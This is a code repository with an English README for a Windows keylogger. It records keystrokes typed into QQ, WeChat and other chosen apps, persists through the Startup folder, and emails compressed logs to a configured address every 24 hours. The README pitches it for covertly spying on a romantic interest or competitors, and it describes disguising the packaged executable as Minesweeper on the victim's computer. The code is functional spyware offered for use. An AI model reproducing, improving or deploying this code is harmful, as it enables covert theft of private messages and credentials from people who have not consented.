"recipient_email@example.com" 22 | password = "your_email_password_or_smtp_token" 23 | compressed_file = "D:\\key_data.bin" 24 | interval_time = 86400 # 24 hours in seconds 25 | 26 | # 自启动功能 27 | def enable_startup(): 28 | startup_dir = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup') 29 | script_name = os.path.basename(__file__) 30 | script_path = os.path.join(os.getcwd(), script_name) 31 | startup_path = os.path.join(startup_dir, script_name) 32 | 33 | if not os.path.exists(startup_path): 34 | with open(startup_path, 'w') as file: 35 | file.write(f'"{script_path}"') 36 | print(f"Program set to start automatically at: {startup_path}") 37 | else: 38 | print("Startup entry already exists.") 39 | 40 | # 发送邮件功能 41 | def send_email(): 42 | msg = MIMEMultipart() 43 | msg['From'] = from_addr 44 | msg['To'] = to_addr 45 | msg['Subject'] = f'{time.strftime("%Y/%m/%d的记录", time.localtime(os.path.getmtime(compressed_file)))}' 46 | 47 | # 附件 48 | with open(compressed_file, "rb") as attachment: 49 | part = MIMEBase("application", "octet-stream") 50 | part.set_payload(attachment.read()) 51 | 52 | encoders.encode_base64(part) 53 | part.add_header("Content-Disposition", f"attachment; filename= {os.path.basename(compressed_file)}") 54 | msg.attach(part) 55 | 56 | # 连接到SMTP服务器并发送邮件 57 | try: 58 | server = smtplib.SMTP_SSL('smtp.qq.com', 465) 59 | server.login(from_addr, password) 60 | server.sendmail(from_addr, to_addr, msg.as_string()) 61 | server.close() 62 | print("Email sent successfully.") 63 | except Exception as e: 64 | print(f"Failed to send email: {e}") 65 | 66 | # 检查并发送邮件 67 | def check_and_send_email(): 68 | if os.path.exists(compressed_file): 69 | last_mod_time = os.path.getmtime(compressed_file) 70 | current_time = time.time() 71 | if current_time - last_mod_time > interval_time: 72 | send_email() 73 | os.remove(compressed_file) # 发送邮件后删除文件 74 | print(f"{compressed_file} deleted after sending email.") 75 | 76 | # 全局变量 77 | recorded_data = [] 78 | current_window_title = None 79 | key_buffer = {} 80 | MERGE_INTERVAL = 5 # 合并间隔为5秒 81 | is_target_app_active = False 82 | 83 | def save_compressed_file(): 84 | global recorded_data, compressed_file 85 | 86 | if not recorded_data: 87 | return 88 | 89 | existing_data = bytearray() 90 | if os.path.exists(compressed_file): 91 | with open(compressed_file, 'rb') as file: 92 | compressed_data = file.read() 93 | if compressed_data: 94 | try: 95 | existing_data = bytearray(zlib.decompress(compressed_data)) 96 | except zlib.error: 97 | existing_data = bytearray() 98 | 99 | raw_data = existing_data 100 | 101 | for window_title, key_name, count, timestamp in recorded_data: 102 | raw_data.append(1) 103 | title_bytes = window_title.encode('utf-8') 104 | raw_data.extend(struct.pack('I', len(title_bytes))) 105 | raw_data.extend(title_bytes) 106 | key_bytes = key_name.encode('utf-8') 107 | raw_data.extend(struct.pack('I', len(key_bytes))) 108 | raw_data.extend(key_bytes) 109 | raw_data.extend(struct.pack('I', count)) 110 | raw_data.extend(struct.pack(' interval_time: 89 | subject = f'{time.strftime("%Y/%m/%d的记录", time.localtime(last_mod_time))}' 90 | email_queue.put((subject, compressed_file)) 91 | 92 | def save_compressed_file(app_name, window_title, key_data): 93 | global compressed_file 94 | 95 | if not key_data: 96 | return 97 | 98 | existing_data = bytearray() 99 | if os.path.exists(compressed_file): 100 | with open(compressed_file, 'rb') as file: 101 | compressed_data = file.read() 102 | if compressed_data: 103 | try: 104 | existing_data = bytearray(zlib.decompress(compressed_data)) 105 | except zlib.error: 106 | existing_data = bytearray() 107 | 108 | raw_data = existing_data 109 | 110 | # Remove .exe from app_name 111 | app_name = app_name.rsplit('.exe', 1)[0] 112 | 113 | full_title = f"{app_name}: {window_title}" 114 | for key_name, count, timestamp in key_data: 115 | raw_data.append(1) 116 | title_bytes = full_title.encode('utf-8') 117 | raw_data.extend(struct.pack('I', len(title_bytes))) 118 | raw_data.extend(title_bytes) 119 | key_bytes = key_name.encode('utf-8') 120 | raw_data.extend(struct.pack('I', len(key_bytes))) 121 | raw_data.extend(key_bytes) 122 | raw_data.extend(struct.pack('I', count)) 123 | raw_data.extend(struct.pack(' interval_time: 89 | subject = f'{time.strftime("%Y/%m/%d的记录", time.localtime(last_mod_time))}' 90 | email_queue.put((subject, compressed_file)) 91 | 92 | def save_compressed_file(app_name, window_title, key_data): 93 | global compressed_file 94 | 95 | if not key_data: 96 | return 97 | 98 | existing_data = bytearray() 99 | if os.path.exists(compressed_file): 100 | with open(compressed_file, 'rb') as file: 101 | compressed_data = file.read() 102 | if compressed_data: 103 | try: 104 | existing_data = bytearray(zlib.decompress(compressed_data)) 105 | except zlib.error: 106 | existing_data = bytearray() 107 | 108 | raw_data = existing_data 109 | 110 | # Remove .exe from app_name 111 | app_name = app_name.rsplit('.exe', 1)[0] 112 | 113 | full_title = f"{app_name}: {window_title}" 114 | for key_name, count, timestamp in key_data: 115 | raw_data.append(1) 116 | title_bytes = full_title.encode('utf-8') 117 | raw_data.extend(struct.pack('I', len(title_bytes))) 118 | raw_data.extend(title_bytes) 119 | key_bytes = key_name.encode('utf-8') 120 | raw_data.extend(struct.pack('I', len(key_bytes))) 121 | raw_data.extend(key_bytes) 122 | raw_data.extend(struct.pack('I', count)) 123 | raw_data.extend(struct.pack('': 0x3E, '?': 0x3F, '|': 0x7C, 30 | '~': 0x7E, '《': 0x300A, '》': 0x300B, '?': 0xFF1F, 31 | ':': 0xFF1A, '“': 0x201C, '”': 0x201D, '{': 0xFF5B, 32 | '}': 0xFF5D, '——': 0x2014, '+': 0x2B, '~': 0x7E, 33 | '!': 0xFF01, '¥': 0xFFE5, '%': 0xFF05, '…': 0x2026, 34 | '&': 0xFF06, '*': 0xFF0A, '(': 0xFF08, ')': 0xFF09, 35 | 'insert': 0x90, 'delete': 0x91, 'home': 0x92, 'end': 0x93, 36 | 'page_up': 0x94, 'page_down': 0x95, 'arrow_up': 0x96, 37 | 'arrow_down': 0x97, 'arrow_left': 0x98, 'arrow_right': 0x99, 38 | 'numpad_decimal': 0x6E, 'numpad_add': 0x6B, 39 | 'numpad_subtract': 0x6D, 'numpad_multiply': 0x6A, 'numpad_divide': 0x6F, 40 | 'print_screen': 0x9A, 'pause': 0x9B, 'menu': 0x9C, 'windows': 0x9D 41 | } 42 | 43 | def read_compressed_file(filename): 44 | window_title_dict = {} 45 | reverse_window_title_dict = {} 46 | data = [] 47 | 48 | try: 49 | with open(filename, 'rb') as file: 50 | compressed_data = file.read() 51 | print(f"Compressed data size: {len(compressed_data)} bytes") # 调试输出 52 | raw_data = zlib.decompress(compressed_data) 53 | print(f"Decompressed data size: {len(raw_data)} bytes") # 调试输出 54 | 55 | i = 0 56 | while i < len(raw_data): 57 | if i + 1 >= len(raw_data): break # 检查是否越界 58 | title_index = raw_data[i] 59 | i += 1 60 | 61 | if title_index not in reverse_window_title_dict: 62 | if i >= len(raw_data): break # 检查是否越界 63 | title_len = raw_data[i] 64 | i += 1 65 | if i + title_len > len(raw_data): break # 检查是否越界 66 | title = raw_data[i:i+title_len].decode('utf-8') 67 | i += title_len 68 | reverse_window_title_dict[title_index] = title 69 | else: 70 | title = reverse_window_title_dict[title_index] 71 | 72 | if i >= len(raw_data): break # 检查是否越界 73 | key_code = raw_data[i] 74 | i += 1 75 | 76 | if i >= len(raw_data): break # 检查是否越界 77 | count = raw_data[i] 78 | i += 1 79 | 80 | if i + 8 > len(raw_data): break # 检查是否越界 81 | timestamp, = struct.unpack('d', raw_data[i:i+8]) 82 | i += 8 83 | formatted_time = time.strftime('%Y/%m/%d %H:%M:%S', time.localtime(timestamp)) 84 | 85 | key = [k for k, v in key_encoding.items() if v == key_code] 86 | if key: 87 | key = key[0] 88 | else: 89 | key = 'Unknown' # 如果没有找到对应的按键编码 90 | 91 | data.append((title, key, count, formatted_time)) 92 | 93 | print(f"Loaded {len(data)} entries") # 调试输出 94 | except Exception as e: 95 | print(f"Error reading file: {e}") 96 | 97 | return data 98 | 99 | class DataViewer(QMainWindow): 100 | def __init__(self): 101 | super().__init__() 102 | self.setWindowTitle('Data Viewer') 103 | self.setGeometry(300, 300, 800, 600) 104 | 105 | self.table_widget = QTableWidget() 106 | self.table_widget.setColumnCount(4) 107 | self.table_widget.setHorizontalHeaderLabels(["应用", "按键", "数量", "时间"]) 108 | self.table_widget.horizontalHeader().setStretchLastSection(True) 109 | 110 | self.app_selector = QComboBox() 111 | self.app_selector.addItem("All") 112 | self.app_selector.currentTextChanged.connect(self.filter_data) 113 | 114 | self.export_button = QPushButton("导出") 115 | self.export_button.clicked.connect(self.export_data) 116 | 117 | layout = QVBoxLayout() 118 | layout.addWidget(self.app_selector) 119 | layout.addWidget(self.table_widget) 120 | layout.addWidget(self.export_button) 121 | 122 | container = QWidget() 123 | container.setLayout(layout) 124 | self.setCentralWidget(container) 125 | 126 | self.setAcceptDrops(True) 127 | self.data = [] 128 | self.filtered_data = [] # 用于存储当前显示的数据 129 | 130 | def load_data(self, file_name): 131 | self.data = read_compressed_file(file_name) 132 | self.update_app_selector() 133 | self.display_data(self.data) 134 | 135 | def update_app_selector(self): 136 | apps = sorted(set([row[0] for row in self.data])) 137 | self.app_selector.clear() 138 | self.app_selector.addItem("All") 139 | self.app_selector.addItems(apps) 140 | 141 | def filter_data(self): 142 | selected_app = self.app_selector.currentText() 143 | if selected_app == "All": 144 | self.filtered_data = self.data 145 | else: 146 | self.filtered_data = [row for row in self.data if row[0] == selected_app] 147 | self.display_data(self.filtered_data) 148 | 149 | def display_data(self, data): 150 | self.table_widget.setRowCount(len(data)) 151 | for row, (title, key, count, timestamp) in enumerate(data): 152 | item_title = QTableWidgetItem(title) 153 | item_title.setTextAlignment(Qt.AlignCenter) 154 | self.table_widget.setItem(row, 0, item_title) 155 | 156 | item_key = QTableWidgetItem(key) 157 | item_key.setTextAlignment(Qt.AlignCenter) 158 | self.table_widget.setItem(row, 1, item_key) 159 | 160 | item_count = QTableWidgetItem(str(count)) 161 | item_count.setTextAlignment(Qt.AlignCenter) 162 | self.table_widget.setItem(row, 2, item_count) 163 | 164 | item_timestamp = QTableWidgetItem(timestamp) 165 | item_timestamp.setTextAlignment(Qt.AlignCenter) 166 | self.table_widget.setItem(row, 3, item_timestamp) 167 | 168 | self.table_widget.resizeColumnsToContents() 169 | 170 | def export_data(self): 171 | options = QFileDialog.Options() 172 | file_name, _ = QFileDialog.getSaveFileName(self, "导出数据", "", "CSV Files (*.csv);;Excel Files (*.xlsx)", options=options) 173 | if file_name: 174 | df = pd.DataFrame(self.filtered_data, columns=["应用", "按键", "数量", "时间"]) 175 | if file_name.endswith('.csv'): 176 | df.to_csv(file_name, index=False, encoding='utf-8-sig') 177 | elif file_name.endswith('.xlsx'): 178 | df.to_excel(file_name, index=False) 179 | 180 | def dragEnterEvent(self, event): 181 | if event.mimeData().hasUrls(): 182 | event.acceptProposedAction() 183 | 184 | def dropEvent(self, event): 185 | for url in event.mimeData().urls(): 186 | file_name = url.toLocalFile() 187 | self.load_data(file_name) 188 | 189 | def main(): 190 | app = QApplication(sys.argv) 191 | viewer = DataViewer() 192 | viewer.show() 193 | sys.exit(app.exec_()) 194 | 195 | if __name__ == '__main__': 196 | main() 197 | -------------------------------------------------------------------------------- /History/Read_Old2.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | import zlib 4 | import time 5 | import pandas as pd 6 | from datetime import datetime, timezone, timedelta 7 | from PyQt5.QtWidgets import QApplication, QMainWindow, QTableWidget, QTableWidgetItem, QVBoxLayout, QWidget, QFileDialog, QComboBox, QPushButton, QHeaderView 8 | from PyQt5.QtCore import Qt 9 | 10 | def read_compressed_file(filename): 11 | data = [] 12 | 13 | try: 14 | with open(filename, 'rb') as file: 15 | compressed_data = file.read() 16 | print(f"Compressed data size: {len(compressed_data)} bytes") 17 | raw_data = zlib.decompress(compressed_data) 18 | print(f"Decompressed data size: {len(raw_data)} bytes") 19 | 20 | index = 0 21 | while index < len(raw_data): 22 | try: 23 | data_type = raw_data[index] 24 | index += 1 25 | if data_type == 1: # 按键数据 26 | title_length = struct.unpack('I', raw_data[index:index+4])[0] 27 | index += 4 28 | window_title = raw_data[index:index+title_length].decode('utf-8') 29 | index += title_length 30 | 31 | key_length = struct.unpack('I', raw_data[index:index+4])[0] 32 | index += 4 33 | key_name = raw_data[index:index+key_length].decode('utf-8') 34 | index += key_length 35 | 36 | count = struct.unpack('I', raw_data[index:index+4])[0] 37 | index += 4 38 | 39 | timestamp = struct.unpack(' self.width(): 131 | self.resize(total_width, self.height()) 132 | 133 | # 然后将模式设置回 Stretch,以便列可以随窗口大小变化 134 | self.table_widget.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) 135 | 136 | def resizeEvent(self, event): 137 | super().resizeEvent(event) 138 | # 当窗口大小改变时,重新调整表格列宽 139 | self.table_widget.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) 140 | 141 | def export_data(self): 142 | options = QFileDialog.Options() 143 | file_name, _ = QFileDialog.getSaveFileName(self, "导出数据", "", "CSV Files (*.csv);;Excel Files (*.xlsx)", options=options) 144 | if file_name: 145 | df = pd.DataFrame(self.filtered_data, columns=["应用", "按键", "数量", "时间"]) 146 | if file_name.endswith('.csv'): 147 | df.to_csv(file_name, index=False, encoding='utf-8-sig') 148 | elif file_name.endswith('.xlsx'): 149 | df.to_excel(file_name, index=False) 150 | 151 | def dragEnterEvent(self, event): 152 | if event.mimeData().hasUrls(): 153 | event.acceptProposedAction() 154 | 155 | def dropEvent(self, event): 156 | for url in event.mimeData().urls(): 157 | file_name = url.toLocalFile() 158 | self.load_data(file_name) 159 | 160 | def main(): 161 | app = QApplication(sys.argv) 162 | viewer = DataViewer() 163 | viewer.show() 164 | sys.exit(app.exec_()) 165 | 166 | if __name__ == '__main__': 167 | main() -------------------------------------------------------------------------------- /History/Read_Old3.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | import zlib 4 | import time 5 | import pandas as pd 6 | from datetime import datetime, timezone, timedelta 7 | from PyQt5.QtWidgets import (QApplication, QMainWindow, QTableWidget, QTableWidgetItem, QVBoxLayout, QWidget, 8 | QFileDialog, QComboBox, QPushButton, QHeaderView, QTextEdit, QSizePolicy) 9 | from PyQt5.QtCore import Qt, QTimer 10 | from PyQt5.QtGui import QTextOption 11 | 12 | def read_compressed_file(filename): 13 | data = [] 14 | 15 | try: 16 | with open(filename, 'rb') as file: 17 | compressed_data = file.read() 18 | print(f"Compressed data size: {len(compressed_data)} bytes") 19 | raw_data = zlib.decompress(compressed_data) 20 | print(f"Decompressed data size: {len(raw_data)} bytes") 21 | 22 | index = 0 23 | while index < len(raw_data): 24 | try: 25 | data_type = raw_data[index] 26 | index += 1 27 | if data_type == 1: # 按键数据 28 | title_length = struct.unpack('I', raw_data[index:index+4])[0] 29 | index += 4 30 | window_title = raw_data[index:index+title_length].decode('utf-8') 31 | index += title_length 32 | 33 | key_length = struct.unpack('I', raw_data[index:index+4])[0] 34 | index += 4 35 | key_name = raw_data[index:index+key_length].decode('utf-8') 36 | index += key_length 37 | 38 | count = struct.unpack('I', raw_data[index:index+4])[0] 39 | index += 4 40 | 41 | timestamp = struct.unpack(' 0: 169 | available_width = max(total_width - total_content_width, 0) 170 | for col in range(self.table_widget.columnCount()): 171 | extra = int(available_width * (column_widths[col] / total_content_width)) 172 | column_widths[col] += extra 173 | 174 | # Set the calculated widths 175 | for col, width in enumerate(column_widths): 176 | header.setSectionResizeMode(col, QHeaderView.Interactive) 177 | self.table_widget.setColumnWidth(col, width) 178 | 179 | def resizeEvent(self, event): 180 | super().resizeEvent(event) 181 | self.adjust_column_widths() 182 | 183 | def export_data(self): 184 | options = QFileDialog.Options() 185 | file_name, _ = QFileDialog.getSaveFileName(self, "导出数据", "", "CSV Files (*.csv);;Excel Files (*.xlsx)", options=options) 186 | if file_name: 187 | df = pd.DataFrame(self.filtered_data, columns=["应用", "按键", "数量", "时间"]) 188 | if file_name.endswith('.csv'): 189 | df.to_csv(file_name, index=False, encoding='utf-8-sig') 190 | elif file_name.endswith('.xlsx'): 191 | df.to_excel(file_name, index=False) 192 | 193 | def dragEnterEvent(self, event): 194 | if event.mimeData().hasUrls(): 195 | event.acceptProposedAction() 196 | 197 | def dropEvent(self, event): 198 | for url in event.mimeData().urls(): 199 | file_name = url.toLocalFile() 200 | self.load_data(file_name) 201 | 202 | def main(): 203 | app = QApplication(sys.argv) 204 | viewer = DataViewer() 205 | viewer.show() 206 | sys.exit(app.exec_()) 207 | 208 | if __name__ == '__main__': 209 | main() -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Sixteen 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Package_tool.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | from PyQt5.QtWidgets import ( 4 | QApplication, QMainWindow, QVBoxLayout, QWidget, QPushButton, 5 | QListWidget, QTextEdit, QHBoxLayout, QMessageBox, QAbstractItemView, QProgressDialog 6 | ) 7 | from PyQt5.QtCore import Qt, QProcess, QThread, pyqtSignal, QTimer 8 | from PIL import Image 9 | import io 10 | 11 | class WorkerThread(QThread): 12 | log_signal = pyqtSignal(str) 13 | finished_signal = pyqtSignal() 14 | cancel_signal = pyqtSignal() 15 | 16 | def __init__(self, command): 17 | super().__init__() 18 | self.command = command 19 | self._process = None 20 | 21 | def run(self): 22 | self._process = QProcess() 23 | self._process.setProcessChannelMode(QProcess.MergedChannels) 24 | self._process.readyReadStandardOutput.connect(self.handle_output) 25 | self._process.start(self.command) 26 | self._process.waitForFinished(-1) # Wait indefinitely 27 | 28 | if self._process.state() != QProcess.NotRunning: 29 | self._process.kill() 30 | 31 | self.finished_signal.emit() 32 | 33 | def handle_output(self): 34 | output = self._process.readAllStandardOutput().data().decode() 35 | self.log_signal.emit(output) 36 | 37 | def cancel(self): 38 | if self._process and self._process.state() == QProcess.Running: 39 | self._process.kill() 40 | self.log_signal.emit("打包任务已取消") 41 | self.cancel_signal.emit() 42 | 43 | class PyInstallerGUI(QMainWindow): 44 | def __init__(self): 45 | super().__init__() 46 | 47 | self.setWindowTitle("打包工具") 48 | self.setGeometry(300, 300, 600, 400) 49 | 50 | self.central_widget = QWidget() 51 | self.setCentralWidget(self.central_widget) 52 | 53 | self.layout = QVBoxLayout(self.central_widget) 54 | 55 | self.file_list = QListWidget() 56 | self.file_list.setSelectionMode(QAbstractItemView.NoSelection) 57 | self.layout.addWidget(self.file_list) 58 | 59 | self.log_output = QTextEdit() 60 | self.log_output.setReadOnly(True) 61 | self.layout.addWidget(self.log_output) 62 | 63 | self.button_layout = QHBoxLayout() 64 | 65 | self.package_button = QPushButton("开始打包") 66 | self.package_button.clicked.connect(self.start_packaging) 67 | self.button_layout.addWidget(self.package_button) 68 | 69 | self.clear_button = QPushButton("清空列表") 70 | self.clear_button.clicked.connect(self.clear_list) 71 | self.button_layout.addWidget(self.clear_button) 72 | 73 | self.layout.addLayout(self.button_layout) 74 | 75 | self.file_list.setDragEnabled(True) 76 | self.file_list.viewport().setAcceptDrops(True) 77 | self.file_list.setDropIndicatorShown(True) 78 | self.file_list.setDragDropMode(QListWidget.DragDrop) 79 | 80 | self.additional_icon_file = None 81 | self.threads = [] 82 | self.setAcceptDrops(True) 83 | self.tasks_in_progress = 0 84 | self.progress_dialog = None 85 | self.timer = QTimer() 86 | self.timer.timeout.connect(self.update_progress) 87 | self.progress_value = 0 88 | 89 | def start_packaging(self): 90 | if self.file_list.count() == 0: 91 | QMessageBox.warning(self, "警告", "没有文件可以打包!") 92 | return 93 | 94 | self.tasks_in_progress = self.file_list.count() 95 | self.progress_dialog = QProgressDialog("打包进行中...", "取消", 0, 100, self) 96 | self.progress_dialog.setWindowModality(Qt.WindowModal) 97 | self.progress_dialog.canceled.connect(self.cancel_packaging) 98 | self.progress_dialog.show() 99 | 100 | self.progress_value = 0 101 | self.timer.start(150) 102 | 103 | for index in range(self.file_list.count()): 104 | file_path = self.file_list.item(index).text() 105 | if self.additional_icon_file: 106 | icon_path = self.convert_to_ico(self.additional_icon_file) 107 | command = f"pyinstaller --onefile --noconsole --icon={icon_path} {file_path}" 108 | else: 109 | command = f"pyinstaller --onefile --noconsole {file_path}" 110 | 111 | self.log_output.append(f"正在执行: {command}") 112 | 113 | thread = WorkerThread(command) 114 | thread.log_signal.connect(self.update_log) 115 | thread.finished_signal.connect(self.on_task_finished) 116 | thread.cancel_signal.connect(self.on_task_canceled) 117 | thread.start() 118 | 119 | self.threads.append(thread) 120 | 121 | def convert_to_ico(self, image_path): 122 | try: 123 | img = Image.open(image_path) 124 | ico_path = os.path.splitext(image_path)[0] + '.ico' 125 | img.save(ico_path, format='ICO') 126 | self.log_output.append(f"图片已转换为ICO格式: {ico_path}") 127 | return ico_path 128 | except Exception as e: 129 | self.log_output.append(f"转换图片到ICO格式时出错: {str(e)}") 130 | return image_path # 如果转换失败,返回原始路径 131 | 132 | def update_progress(self): 133 | if self.progress_value < 85: 134 | self.progress_value += 1 135 | self.progress_dialog.setValue(self.progress_value) 136 | 137 | def update_log(self, log): 138 | self.log_output.append(log) 139 | 140 | def on_task_finished(self): 141 | self.tasks_in_progress -= 1 142 | if self.tasks_in_progress == 0: 143 | self.timer.stop() 144 | self.progress_dialog.setValue(100) 145 | self.progress_dialog.close() 146 | QMessageBox.information(self, "完成", "所有打包任务已完成!") 147 | 148 | def on_task_canceled(self): 149 | self.timer.stop() 150 | self.progress_dialog.close() 151 | QMessageBox.information(self, "取消", "打包任务已取消!") 152 | 153 | def cancel_packaging(self): 154 | for thread in self.threads: 155 | thread.cancel() 156 | 157 | def clear_list(self): 158 | self.file_list.clear() 159 | self.log_output.clear() 160 | self.additional_icon_file = None 161 | 162 | def dragEnterEvent(self, event): 163 | if event.mimeData().hasUrls(): 164 | event.acceptProposedAction() 165 | 166 | def dragMoveEvent(self, event): 167 | if event.mimeData().hasUrls(): 168 | event.acceptProposedAction() 169 | 170 | def dropEvent(self, event): 171 | if event.mimeData().hasUrls(): 172 | urls = event.mimeData().urls() 173 | for url in urls: 174 | file_path = url.toLocalFile() 175 | if self.file_list.count() < 5: 176 | if file_path.endswith('.py') and not self.is_duplicate(file_path): 177 | self.file_list.addItem(file_path) 178 | elif file_path.lower().endswith(('.png', '.jpg', '.ico', '.svg')): 179 | if self.additional_icon_file: 180 | QMessageBox.warning(self, "图标冲突", "已经有图标文件了,请删除后再拖入新的图标文件。") 181 | else: 182 | self.additional_icon_file = file_path 183 | self.log_output.append(f"使用用户提供的图标文件: {file_path}") 184 | else: 185 | QMessageBox.warning(self, "文件类型错误", "只能拖入.py文件或图标文件") 186 | else: 187 | QMessageBox.warning(self, "数量限制", "最多只能拖入5个文件") 188 | break 189 | 190 | def is_duplicate(self, file_path): 191 | for i in range(self.file_list.count()): 192 | if self.file_list.item(i).text() == file_path: 193 | return True 194 | return False 195 | 196 | if __name__ == '__main__': 197 | app = QApplication(sys.argv) 198 | window = PyInstallerGUI() 199 | window.show() 200 | sys.exit(app.exec_()) 201 | -------------------------------------------------------------------------------- /README.en.md: -------------------------------------------------------------------------------- 1 | [中文](README.md) 2 | 3 | # 🎹 Keyboard Activity Monitor 4 | 5 | ## 📋 Overview 6 | 7 | Still infatuated with the girl you like? Still anxious about your competitors? This program can help you monitor the keyboard activities of target applications (such as QQ or WeChat) and record these data, which will automatically be sent to your email after a period of time. 8 | 9 | ### ⚙️ Feature Overview 10 | 11 | - **🔍 Application Monitoring**: The program monitors the running status of custom applications. When it detects that a specified application is running, it starts recording keyboard activities. 12 | - **🔄 Auto Start on Boot**: After running the packaged file, it will automatically add itself to the startup folder to achieve auto-start on boot. 13 | - **⌨️ Keylogging**: Records detailed information about keyboard presses, including key content, the number of times keys were pressed, and the time of key presses. 14 | - **💾 Data Storage**: Stores the recorded data in a compressed binary file to save storage space. 15 | - **📧 Email Sending**: The program periodically checks and sends the recorded keyboard data to a specified email. 16 | - **📊 Data Reading**: Provides an independent program `Read.py` for decompressing and reading the stored binary data, displaying the data in a tabular format, and allowing export to CSV or Excel files. 17 | - **🛠️ Packaging Tool**: Provides a [Package Tool](https://github.com/ystemsrx/Application-Monitoring/releases) that can package the program into a single executable file and supports custom icons. 18 | 19 | ### 📁 File Description 20 | 21 | - **Application_Monitoring**: Main program for monitoring the running status of QQ and WeChat, recording keyboard activities, saving data as compressed binary files, and periodically sending them via email. 22 | - **Read.py**: Data reading tool that decompresses and reads the binary files generated by `Application_Monitoring`, provides data visualization, and export functions. We also added AI-based data interpretation functionality (requires **your own API** and filling in the list at the beginning of the code, currently supports only [OpenAI](https://platform.openai.com/api-keys), [Zhipu Qingyan](https://open.bigmodel.cn/usercenter/apikeys), [Tongyi Qianwen](https://dashscope.console.aliyun.com/apiKey)). 23 | - **Package_tool.py**: Packaging tool for converting Python scripts into a single executable file, supporting custom icons. 24 | 25 | ### 📝 Usage Instructions 26 | 27 | 1. **Monitoring and Recording**: 28 | - Package `Application_Monitoring` (with [Packaging Tool](https://github.com/ystemsrx/Application-Monitoring/releases)) into an exe file, then run it on the target computer. The program will continuously monitor the running status of QQ and WeChat in the background and start recording keyboard input. 29 | - The data is stored in real-time in the `key_data.bin` file. 30 | - Every 24 hours, the data will be sent to you via email. 31 | - No need to worry about justifying the file. The file can be disguised as a Minesweeper game, with the packaged file being only 11MB in size. After running, it will open Minesweeper, while the monitoring program runs in the background, and even closing Minesweeper will not have any impact! 32 | - You don't have to worry about Minesweeper popping up during auto-start. The program has an automatic detection function to determine whether it is starting from boot or being manually opened. 33 | 34 | 2. **Reading and Exporting**: 35 | - Run the `Read.py` program and drag in the `key_data.bin` file to view the recorded keyboard input data. 36 | 37 | ⚠ **Important: To run [Read.py](Read.py), you need to install the `PyQt5`, `Pandas` and `Requests` libraries. Install them by running `pip install pyqt5 pandas requests`.** 38 | 39 | - You can filter and export the data to CSV or Excel files for further analysis. 40 | - The tool's built-in AI functionality can be used to reconstruct and restore the data (requires your own API KEY, currently only supports [OpenAI](https://platform.openai.com/api-keys), [Zhipu Qingyan](https://open.bigmodel.cn/usercenter/apikeys), [Tongyi Qianwen](https://dashscope.console.aliyun.com/apiKey)). 41 | 42 | 3. **Packaging Tool**: 43 | 44 | - Your computer must have Python installed. You can [download it here](https://www.python.org/downloads/release/python-3125/). 45 | - The packaging tool can convert the main program into a standalone executable file. [Click here](https://github.com/ystemsrx/Application-Monitoring/releases). Drag the Python script into the interface to package it, supporting the addition of custom icons (simply drag in the image or icon). 46 | - Running the [Packaging Tool](Package_tool.py) and packaging the main program **requires installing `PyQt5`, `keyboard`, `psutil`, `pywin32`, `PyInstaller` and `Pillow` . Run the following command to install: `pip install keyboard psutil pywin32 pyqt5 pyinstaller pillow`.** 47 | 48 | ### 🖋️ Required Configurations 49 | 50 | In the `Application_Monitoring` file, there are several places where you need to fill in and modify the content to ensure the program works as expected: 51 | 52 | 1. **📧 Email Configuration**: 53 | - `from_addr`: The sender's email address. 54 | - `to_addr`: The recipient's email address. 55 | - `password`: The sender's email SMTP authorization code. Please search for how to obtain the authorization code. 56 | 57 | For example: 58 | ```python 59 | from_addr = "your_email@example.com" 60 | to_addr = "recipient_email@example.com" 61 | password = "your_email_password_or_smtp_token" 62 | ``` 63 | 64 | 2. **💽 File Storage Path**: 65 | - `compressed_file`: The file path for storing compressed data. Modify the storage path as needed, ensuring that the program has permission to read and write files in that location. It is recommended to write to a drive other than the C drive. 66 | 67 | For example: 68 | ```python 69 | compressed_file = "D:\\your_path\\key_data.bin" 70 | ``` 71 | 72 | 3. **⏰ Time Interval Settings**: 73 | - `interval_time`: The program is set by default to send the record email every 24 hours (86400 seconds). You can modify this time interval as needed. The default is 24 hours. 74 | 75 | For example, to send every 12 hours: 76 | ```python 77 | interval_time = 43200 # 12 hours in seconds 78 | ``` 79 | 80 | 4. **📱 Application List**: 81 | - Add applications in `applications = ["QQ", "WeChat"]`, default is QQ and WeChat. Applications should be separated by commas and enclosed in quotes. **Note**: The application needs to be in the name of the process rather than its display name (which can be found in the Task Manager). For example, **Enterprise WeChat** is called **WXWork**. 82 | 83 | 5. **🤖 API List in [Read.py](Read.py)**: 84 | - If you need to use the AI data interpretation function, please fill in your API KEY in the list. If you don't want to fill it in the list, you can also fill it in temporarily when the program starts. Currently, we support only the API KEYS of [OpenAI](https://platform.openai.com/api-keys), [Zhipu Qingyan](https://open.bigmodel.cn/usercenter/apikeys), and [Tongyi Qianwen](https://dashscope.console.aliyun.com/apiKey). Additionally, in the `setup_model_selector` function, you can add more supported models as needed. 85 | 86 | ### ✅ TODO List 87 | 88 | - [x] **Unified Application Monitoring**: Simply input the application name in the list to monitor that application without manually adjusting the program code. 89 | - [x] **Data Interpretation Tool**: The 